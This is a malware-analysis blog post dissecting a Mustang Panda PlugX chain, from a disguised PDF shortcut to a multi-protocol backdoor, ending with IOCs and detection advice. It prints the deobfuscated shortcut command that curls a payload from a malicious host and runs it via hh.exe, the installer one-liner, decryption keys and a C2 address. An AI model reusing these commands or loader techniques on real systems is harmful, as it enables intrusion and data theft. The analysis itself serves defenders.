Skip to main content

Command Palette

Search for a command to run...

MUSTANG PANDA × PLUGX - From deceptive LNK to multi-transport backdoor

Updated
MUSTANG PANDA × PLUGX - From deceptive LNK to multi-transport backdoor

I. The big picture: why this chain is worth pulling apart

Mustang Panda is hardly a new name in the threat intelligence community. The group has shown up repeatedly across campaigns built on multi-layer loaders, sideloading, and various PlugX variants. But in the chain I analyzed here, what made me slow down wasn't the targeting or the infrastructure — it was how deliberately each technical layer is stacked on top of the next. Every layer does exactly one thing, just enough to push the victim into the next stage, then steps out of view.

Infection chain overview:


II. Stage 0 — LNK: the first layer of disguise

The entry point for this whole chain is photo_2026-03-01_01-20-48.pdf.lnk. Looking at just the filename and icon, it's easy to dismiss it as a normal document shortcut. But once you pull the metadata and arguments apart, it's clearly not a shortcut meant to open a PDF — it's a multi-stage launcher designed to fool both the user and any tooling that only checks the surface.

Notable metadata

  • Icon: Microsoft Edge icon

  • Filename: deliberately crafted to look like it ends in .pdf

  • Window state: MINIMIZED / NO ACTIVE

  • Target chain: rundll32.exe -> shell32.dll,ShellExec_RunDLL -> conhost --headless -> cmd /c curl ...

Analyzing this with LEcmd.exe, the LNK metadata has been carefully manipulated: the icon was swapped for Microsoft Edge's to look more legitimate, the filename was crafted to appear as a PDF extension to mislead the user, and the window state is set to minimized to avoid drawing attention.

The command chain, deobfuscated

; Obfuscated form inside the LNK:
shell32.dll ShellExec_RunDLL conhost --headless cmd /c
curl www.360printsol[.]com/2026/alfadhalah/thumbnail?img=index.png -L""skontv&hh -d""ecompile^ . nt""v&0.ln""k

; After stripping the noise:
curl www.360printsol[.]com/2026/alfadhalah/thumbnail?img=index.png -L -s -k -o ntv
& hh -decompile . ntv
& 0.lnk

What I find interesting here is how manual the obfuscation technique is — yet it's effective enough in practice. It doesn't rely on any packer or fancy encryption; it just inserts junk characters, fake whitespace, and misplaced quotes to break simple pattern matching. If you skim the command line, it's easy to miss what it actually does.

Why route through conhost --headless

This is worth calling out on its own. Instead of calling cmd.exe directly from rundll32, the command chain is broken through conhost.exe with --headless.

The way I see it, this step serves at least three purposes:

  1. it makes the process tree harder to read at a glance if someone is just skimming the parent-child chain,

  2. no console window appears to tip off the user,

  3. the whole command chain looks more "Windows-native" at the surface level.


III. Stage 1 — CHM and Stage 2 — 0.lnk: delivery and installation

After curl downloads the file ntv to the current directory, Windows calls hh.exe -decompile to extract the CHM contents to disk. I think this is a clean delivery step: no exploit needed, no script host, no unfamiliar decompression tool, yet it still gets multiple intermediate stages onto the victim machine using a container format that doesn't always get much scrutiny.

How the CHM is used

In the sample I analyzed, decompiling the CHM drops three key components:

after running through hh.exe -decompile

  • 3 — decoy document

  • 4 — archive containing the real payload

  • 0.lnk — the next stage, responsible for installation

What I like about how this is organized is that nothing is exposed all at once. The decoy, the real archive, and the orchestrating shortcut are split into separate pieces, each of which looks unremarkable on its own.

Stage 2: 0.lnk is the real installer

The command chain in 0.lnk is the control center for the installation phase:

/c move 3 "photo_2026-03-01_01-20-48.pdf"
& explorer "photo_2026-03-01_01-20-48.pdf"
| tar -C %appdata% -xf 4
& "%appdata%\BaiduNetdisk\ShellFolder.exe" --path a

BaiduNetdisk folder after extraction

Everything is chained in a single command sequence:

  1. rename 3 to a plausible-looking PDF,

  2. open the decoy document to distract the user,

  3. use tar.exe to extract archive 4 into %APPDATA%,

  4. launch ShellFolder.exe as a signed cover for the sideloading step.

If you're just watching the user interface, all that surfaces is the decoy document. The actual installation happens in the background, with almost no interaction that would make a user suspicious.

Using tar.exe instead of a third-party archiver is also a detail worth keeping: it shows the author of this chain was being economical. No extra tools dropped, no unfamiliar binaries, just a component that ships with modern Windows 10.


IV. Stage 3 — DLL sideloading: the "legitimate" buffer layer before the real payload

After 0.lnk extracts archive 4 into %APPDATA%, what I end up with isn't a bare payload sitting in the open — it's a carefully prepared directory:

%APPDATA%\BaiduNetdisk\
├── ShellFolder.exe          ; signed binary
├── ShellFolderDepend.dll    ; malicious DLL (unsigned)
├── Shelter.ex               ; encrypted shellcode payload
└── [other legitimate Microsoft DLLs]

This chain doesn't use an unfamiliar binary to pull the DLL in. It picks a signed executable and lets the actual malicious code sit in the DLL next to it. If you do a quick process tree check or verify the signer, it can easily read as a legitimate process launched from user space. But the real behavior lives in the DLL alongside it.

RigsterHook() as an orchestrator, not just a hook routine

RigsterHook() is a function exported by ShellFolderDepend.dll. Just looking at the export name, it's tempting to assume this is a simple hook installer. But reading through the callflow and pseudocode, it's doing quite a bit more:

  • decodes strings and resolves APIs dynamically,

  • checks the environment,

  • works with the registry,

  • re-creates a process in hidden mode,

  • installs a hook on an API,

  • then hands off to Shelter.ex.

In other words, this is a multi-purpose stager, not a typical hook installer.

Looking at the pseudocode of RigsterHook(), a number of anomalies stand out

1) String decryption and dynamic API resolution

Rather than exposing sensitive names directly in the import table, the function decrypts module and API names dynamically at runtime: kernel32, advapi32, ExitProcess, LoadLibraryA, RegOpenKeyA, RegSetValueExA, GetCommandLineA, RegQueryValueExA... This doesn't make the sample invisible, but it makes static analysis more annoying and reduces the static IOC footprint.

2) Persistence through impersonation

After the API resolution step, RigsterHook() works with the Run key and a value named BaiNetdisk. I don't read this as just a startup entry. The naming choice signals that the malware is deliberately trading on BaiduNetdisk's reputation so it blends in for anyone doing a quick surface-level check of registry or startup programs.

3) Re-creating the process in hidden mode

Another branch calls CreateProcessA with CREATE_NO_WINDOW to spawn the process again in the background. It's a small detail but an important one: before pulling the real payload into memory, the malware wants a stable background process to continue execution without surfacing any visible window.

4) Reading, decrypting, and handing off to Shelter.ex

Finally, RigsterHook() reads Shelter.ex, decrypts it using SystemFunction033 with the key 20260301@@@, then transfers execution into the newly decrypted region:

Key: 20260301@@@
Function: SystemFunction033
Output: shellcode, 32-bit, position-independent

To me this is a clear dividing line in the chain: before Shelter.ex, the chain is still in the legitimization and preparation phase; after Shelter.ex, we're fully inside the in-memory loader.


V. Stage 4 — Shellcode after Shelter.ex: from intermediate shellcode to in-memory PE loader

This is the section where I had to revise my mental model several times. When I first saw Shelter.ex decrypt and jump into an x86 blob with no PE header, I was leaning toward reading it as a narrow "shellcode loader" — just bootstrap some APIs, then unpack the next stage. But the longer I stayed with the call graph, the less it looked like a simple bootstrap stub. It looked more like a PE loader written as shellcode: resolve APIs on its own, carve out memory regions, decompress, copy headers and sections, then transfer control to the implant behind it.

I want to keep some caution here, since part of this conclusion comes from piecing together evidence rather than reading a perfectly clean pseudocode from the start. But as of now, this is the most coherent reading of what I see in the trace and callflow.

A. A lean bootstrap: only take what's needed to survive

At the outer layer, the stage after Shelter.ex behaves exactly like a shellcode that wants to live independently in memory: it first resolves a minimal set of APIs from kernel32LoadLibraryA, VirtualAlloc, VirtualFree, VirtualProtect, ExitThread — then loads ntdll to pull in RtlDecompressBuffer and memcpy. The ordering matters. No network access, no complex file I/O, no rush toward the post-exploitation branches. Prioritizing VirtualAlloc, RtlDecompressBuffer, and memcpy tells me the primary job at this point is unpacking the next inner layer, not yet running a full implant.

I won't commit to a specific PEB walk pattern without showing the traversal code fully, but I can say definitively that it doesn't rely on a normal PE import table. This stage builds its own minimal survival capability before doing anything deeper.

This callflow section is illustrated here:

B. From shellcode loader to manual PE loader

What actually changed my read was what came after RtlDecompressBuffer. If this were just an intermediate shellcode doing a single job, it wouldn't need the density of VirtualAlloc and memcpy calls I saw. In the runtime trace I collected, the actual flow is: shellcode resolves APIs, calls VirtualAlloc twice, then RtlDecompressBuffer to unpack the data, then another VirtualAlloc for the next stage's region. From there, a series of memcpy calls copies the header and sections into RAM before proceeding to resolve imports, fix up memory protection, and transfer execution. That pattern alone is enough to show that Shelter.ex is not the final payload — it's a shellcode-based loader that manually maps a PE stage into memory.

C. My current working model: how this stage receives and opens the payload

Based on the shellcode report I reconstructed from Shelter_ex_decrypted_plus4.bin, the most consistent reading right now is: the shellcode receives a pointer to an encrypted/compressed PE blob via a stack argument, uses the first DWORD of the blob as a seed, decrypts the blob with rolling XOR, skips a 16-byte internal header, then calls RtlDecompressBuffer to unpack the compressed PE before manually mapping it into memory. At the deobfuscated logic level, the model looks roughly like this:

K = first_dword(payload)
for each byte:
    out[i] = payload[i] ^ (K & 0xFF)
    K = (K + (K >> 3) + 0x13233366) & 0xFFFFFFFF

compressed = out[0x10:]
pe_image = RtlDecompressBuffer(LZNT1, compressed)
manual_map(pe_image)

What gives me more confidence in this model is that it's consistent not just with the API sequence (VirtualAlloc, RtlDecompressBuffer, memcpy, VirtualProtect, VirtualFree) but also with the shape of a manual loader: allocate the target image, copy header and sections, resolve imports, clean up the workspace at the end. In the writeup I'm treating this as a working model that fits the trace closely, rather than presenting it as a definitive conclusion from the start.


VI. Stage 5 — PlugX surfaces: from a 0x20-byte context block to a 0x1858 config blob

For me, the real start of PlugX isn't at Shelter.ex — it's the moment the shellcode loader finishes unpacking the inner layer and transfers execution to a module with its own entry point. In this sample, that entry is malware_module_initializer(address_struct_config). The fact that the entry takes a config pointer already says a lot: this stage is no longer a blob you jump into and run. It's an implant waiting to be handed runtime state at startup.

malware_module_initializer(address_struct_config)
  └── enable_privileges_and_start_bootproc_thread(address_struct_config)
        ├── save context pointer to global
        ├── parse_command_line_mode_and_dispatch_main_flow()
        └── select_elevation_or_persistence_strategy()

A. Why I believe a 0x20-byte context block is written before calling PlugX

My approach here doesn't start from a published struct — it starts from the code itself.

The first thing: malware_module_initializer() only handles global initialization then calls enable_privileges_and_start_bootproc_thread(address_struct_config). It doesn't create a new context internally, which means the pointer must be prepared by the previous stage and passed in at entry. After that, enable_privileges_and_start_bootproc_thread() saves that same pointer into the global (manage_global_event_object(0) + 4) for the boot thread to use later. That tells me address_struct_config isn't a decorative argument — it's real runtime state that the implant needs to carry across multiple initialization branches.

From there, the reason I lean toward a 0x20-byte context block is that on the PlugX side, everything only needs a very small struct: the front portion can hold metadata or padding, while the two fields that actually matter sit at +0x14 and +0x18. This is the most compact way for the loader stage to pass data into a manually mapped implant: write a small block right next to the shellcode entry stub, then call entry with a pointer to that block. No extra imports, no complex shared objects, fully consistent with position-independent execution. This is still a conclusion drawn from tracing, but it's the one that makes the most sense given how the PlugX entry point is used.

B. From address_struct_config to ctx+0x14 / ctx+0x18: where the evidence lives

The strongest evidence is in the PlugX boot path itself. After the context pointer is saved to global, an initialization branch later retrieves it and uses it as a DWORD array. At that point, the code checks v21[6] == 6232 — meaning the field at offset +0x18 equals 0x1858 — then takes v21[5] as a pointer to the encrypted config blob, i.e., offset +0x14. Immediately after, it calls xor_transform_buffer_with_seed_0(v27, 6232, v16, *v22) to strip the outer layer of the config block and copies 6232 bytes into the working buffer. That sequence alone is enough to reconstruct the role of the two key fields in the context.

To put it concisely, here's how I'd present this in the writeup:

// reconstructed from callflow
struct plugx_startup_ctx {
    uint8_t  pad[0x14];
    uint32_t encrypted_config_ptr;   // +0x14
    uint32_t encrypted_config_size;  // +0x18
    uint8_t  pad2[0x04];
};

I'll make it clear that this is a struct I inferred from the use-sites in the code.

C. The 0x1858 config blob: working backward from how each field is consumed

Once I had the 6232-byte working blob, my next step wasn't to pull up a known offset table and fill in values. I went the other direction: watch what the decoded data is used for, then assign meaning to each region of the config.

This approach let me rebuild the layout field by field, grounded in actual evidence:

  • For C2, I followed the network branch down to connect(...), saw v16[1] = htons(a3), and the host/IP already resolved in the preceding variable. That shows port is read separately, and the host must come from a nearby block. At another call site, I found an explicit rc4_crypt_with_string_key(..., 0x40u, ..., key) applied to the host buffer before it feeds into the resolve/connect branch. That's how I landed on the C2 block at +0x828 being a port plus a 0x40-byte host entry.

  • For the persistence path, I didn't start from the string %ProgramFiles%\Microsoft\Display Broker. I started from a 0x200-byte buffer being RC4 decrypted with rc4_crypt_with_string_key(..., 0x200u, ..., key) and then fed directly into ExpandEnvironmentStringsW. A buffer that gets RC4'd and immediately goes into environment string expansion is almost certainly a path or persistence string. From that use-site I then traced back and marked the corresponding region in the config.

  • For service name, display name, and description, the signal is even cleaner: sequential 0x200-byte buffers after RC4 are passed into OpenServiceW, CreateServiceW, and ChangeServiceConfig2W. So instead of trusting a published offset table, I read the consumption behavior: if a string goes into a service API, that's a service-related field.

This approach is also what makes me more confident writing the config section in this post.

D. Outer XOR first, field-level RC4 second: why the order matters

One mistake I made early on was trying to apply RC4 directly to the raw 0x1858 blob from the context. The output was garbage. Only when I traced back through the boot path and saw xor_transform_buffer_with_seed_0(..., 6232, ...) happening first did I correct the pipeline:

  1. pull the encrypted config blob from ctx+0x14, size from ctx+0x18,

  2. apply the outer XOR to get the 6232-byte working config,

  3. then decrypt individual fields with rc4_crypt_with_string_key(...) using key qwedfgx202211,

  4. finally decode each field in the right encoding — host/key fields are typically ANSI, while path/service/registry fields are UTF-16LE wide strings.

E. The config blob is where everything becomes concrete

Once I had that pipeline right, I was able to pull out the fields that anchor the entire analysis:

To me, this is the strongest evidence in the entire PlugX section. Every layer before this point could still be dismissed as shellcode, a loader, or an intermediate stage. But once the config surfaces with a C2 address, a persistence path, a service disguise, and a traffic key, the picture is complete.

F. Config extraction script: part of the analysis, not an appendix

I think the config parsing script belongs in the main body of the post, not tucked away as a supplement. The reason is that in this sample, the script doesn't replace manual analysis — it just turns what I'd already inferred from the use-sites into a reproducible step. Specifically, the script does four things:

  1. read the 0x1858 blob,

  2. apply the outer XOR in the correct order,

  3. RC4-decrypt each field with the reconstructed runtime key,

  4. decode each field in the right encoding and print the IOCs.


VII. C2 infrastructure: multi-protocol to fit any network environment

The most notable thing about this PlugX layer is that it isn't locked into a single transport. From the callflow of create_c2_transport_context_by_protocol() and related functions, it supports multiple protocols simultaneously:

Protocol 1: HTTP/HTTPS
  -> send_http_post_and_process_response_headers_and_stream()
  -> allocate_https_channel_context_and_run_worker()

Protocol 2: TCP Raw
  -> create_tcp_socket_and_store_handle()

Protocol 3: UDP/53
  -> initialize_winsock_udp53_listener_and_start_worker()

Protocol 4: DNS Tunnel
  -> enumerate_adapters_and_send_dns_query_payloads()
  -> build_dns_query_payload_and_send_async()
  -> handle_dns_probe_response_and_trigger_adapter_rescan()
  -> poll_adapters_and_retry_dns_probe_until_stop()

DNS tunneling: the stealthier channel — and the harder one to confirm

On the DNS side, what I can see clearly is logic that encodes data into labels/subdomains and sends it asynchronously through whichever adapters are available. I don't want to declare the specific encoder/decoder algorithm without fully unpacking it, but the intent to embed data in DNS queries is clear. This is also the protocol most worth watching closely if the sample is deployed in a network environment with tighter restrictions on outbound HTTP/TCP.

The packet encryption and compression pipeline

All C2 traffic passes through a multi-layer compression and encryption pipeline:

compress_and_encrypt_packet_under_lock()
  1. RtlCompressBuffer()
  2. derive_rc4_key_and_decrypt_data()
  3. xor_transform_buffer_with_seed()
  4. build_obfuscated_packet() -> magic 0x20200208

decrypt_and_unpack_packet()
  1. check magic 0x20200208
  2. XOR decode
  3. RC4 decrypt
  4. RtlDecompressBuffer()
  5. locked_decrypt_20byte_block()

The magic constant 0x20200208 is a notable artifact in the packet framing layer. If you can capture traffic at a point before or after the obfuscation is stripped, this is a fairly strong fingerprint for identifying PlugX traffic.


VIII. Plugin system: this is not a thin backdoor

Once the runtime becomes clearer, the plugin system is what shows how much this implant was built to stick around and do a lot.

Plugin Function
register_disk_command_dispatcher File/directory management, drive enumeration, read/write/delete
register_keylog_interface_and_start_monitor_thread Keylogger
register_network_resource_dispatcher Network share browsing
register_netstat_control_dispatcher TCP/UDP connection table enumeration
register_system_control_dispatcher System info, memory, locale
register_portmap_dispatcher Port forwarding / tunneling
register_process_command_handler List, kill, spawn processes; inject payload
register_registry_command_handler Read/write/delete registry
register_screen_capture_command_handler Screenshot / screen capture
register_service_control_command_handler Create/start/stop/delete services
register_remote_shell_command_handler Remote shell over named pipe
register_odbc_command_handler Database queries over ODBC
register_console_session_command_handler Interact with hidden console sessions

The two plugins I find most interesting are the ODBC command handler and the remote shell over named pipe. The first suggests the operator's goals go beyond typical file exfiltration — they may be after data sitting in internal databases. The second shows how polished the post-exploitation layer is: interactive shell access without any visible console window surfacing to the user.


IX. Polymorphic shellcode engine: the part that deserves more attention

If I had to pick one technical feature that sets this sample apart from chains that stop at sideloading + PlugX, it would be the polymorphic shellcode engine.

From functions like:

  • fill_buffer_with_nonzero_random_bytes()

  • write_random_byte_and_arg_to_buffer()

  • write_f6_prefixed_random_triplet()

  • write_random_bytes_variant1..variant9()

  • generate_random_instruction_sequence()

  • generate_random_shellcode_chunk()

it's clear that this loading stage can produce instruction chunks that differ at the byte level while preserving equivalent execution semantics.

That matters for three reasons:

  1. signature-based detection has a harder time sticking if the byte pattern changes with each shellcode build,

  2. memory scanning is more easily thrown off because the shellcode no longer has a fixed skeleton,

  3. forensic analysis gets harder because an analyst has to separate the real instructions from junk/dead code before they can follow the control flow.

I don't want to overstate this as making the entire malware fully polymorphic in every sense — but it clearly shows the author invested specifically in instruction-level obfuscation, not just string obfuscation or a simple packer.

size_t generate_random_shellcode_chunk(uint8_t *out, size_t remaining, bool allow_nested)
{
    while (remaining > 0) {
        switch (choose_chunk_type(remaining, allow_nested)) {
        case CHUNK_RANDOM_FILL:
            emit_nonzero_junk_bytes(out, &remaining);
            break;
        case CHUNK_SEQUENCE:
            emit_random_instruction_sequence(out, &remaining);
            break;
        case CHUNK_JUMP_WRAPPER:
            emit_jump_then_hidden_junk(out, &remaining);
            break;
        case CHUNK_CALL_WRAPPER:
            emit_call_then_stack_fixup(out, &remaining);
            break;
        case CHUNK_NESTED:
            emit_recursive_polymorphic_wrapper(out, &remaining);
            break;
        }
    }
    return bytes_written;
}

In practice, this is less a normal helper than a small code emitter: it builds shellcode from randomized templates and junk wrappers, making the byte pattern unstable without changing the stage’s overall role


X. A quick comparison with thinner PlugX samples

I don't want to turn this section into an overly broad historical comparison, but relative to thinner PlugX samples I've looked at before, this chain stands out on a few points:

  • the loader chain is long and cleanly layered,

  • persistence isn't limited to a single mechanism,

  • transport is multi-protocol,

  • the shellcode loader shows signs of polymorphism,

  • the plugin surface is broader than the bare minimum,

  • the config explicitly encodes service disguise and traffic key material.

None of that automatically makes it "more dangerous" in an absolute sense — but it does show this is a sample designed to persist, adapt to different environments, and resist full analysis if the investigator stops partway through the chain.


XI. IOCs and detection guidance

Key IOCs

Network / delivery:
- www.360printsol[.]com/2026/alfadhalah/thumbnail?img=index.png
- C2 config: 91.193.17.117:443
- Packet magic: 0x20200208

Files:
- photo_2026-03-01_01-20-48.pdf.lnk
- %APPDATA%\BaiduNetdisk\ShellFolder.exe
- %APPDATA%\BaiduNetdisk\ShellFolderDepend.dll
- %APPDATA%\BaiduNetdisk\Shelter.ex

Registry:
- HKCU\Software\Microsoft\Windows\CurrentVersion\Run -> BaiNetdisk
- HKCU\Software\Classes\ms-settings\shell\open\command

Crypto / config:
- SystemFunction033 key: 20260301@@@
- Traffic RC4 key: VD*1^N1OCLtAGM$U

Detection priorities

  • conhost.exe --headless leading to cmd /c curl, then hh.exe

  • tar.exe extracting an archive into %APPDATA%

  • a signed EXE in %APPDATA% loading an unsigned DLL from the same directory

  • creation of the Run key value BaiNetdisk

  • writing to ms-settings\shell\open\command followed shortly by fodhelper.exe

  • traffic matching the PlugX packet pipeline, or DNS queries with unusually long labels if DNS mode is active

Defensive recommendations

  1. Monitor the chain LNK -> conhost --headless -> curl -> hh.exe

  2. Alert on new DLL/EXE creation in %APPDATA% from non-standard parent processes

  3. Enforce policy restricting unsigned binary execution from user-writable directories

  4. Log and alert on writes to ms-settings\shell\open\command

  5. Watch for DNS queries with long labels or abnormally high entropy

  6. Prioritize memory analysis in cases involving sideloading + a shellcode loader, since the real payload may not exist on disk in a readable PE format


XII. Conclusion

What makes this chain worth analyzing isn't just the length of the loader chain — it's how deliberately each layer is designed to solve a specific problem.

  • The LNK solves the social engineering problem.

  • The CHM solves delivery without needing an exploit.

  • 0.lnk and tar.exe solve installation using tools that are already there.

  • Sideloading solves the "looks legitimate" problem.

  • RigsterHook() handles persistence, environment checks, and execution handoff.

  • Shelter.ex hides the shellcode layer behind it.

  • The shellcode loader handles decompression, payload reconstruction, and anti-forensics.

  • The PlugX runtime behind it handles long-term persistence, flexible C2, and extensible capability.

Looking at the whole chain as a system, the strongest part isn't any individual trick — it's how cleanly the layers connect. No stage is overloaded. Each one does just enough to move the victim to the next stage, then gets out of the way. That's exactly what makes this chain difficult to fully unwrap, and difficult to detect if analysis stops anywhere in the middle.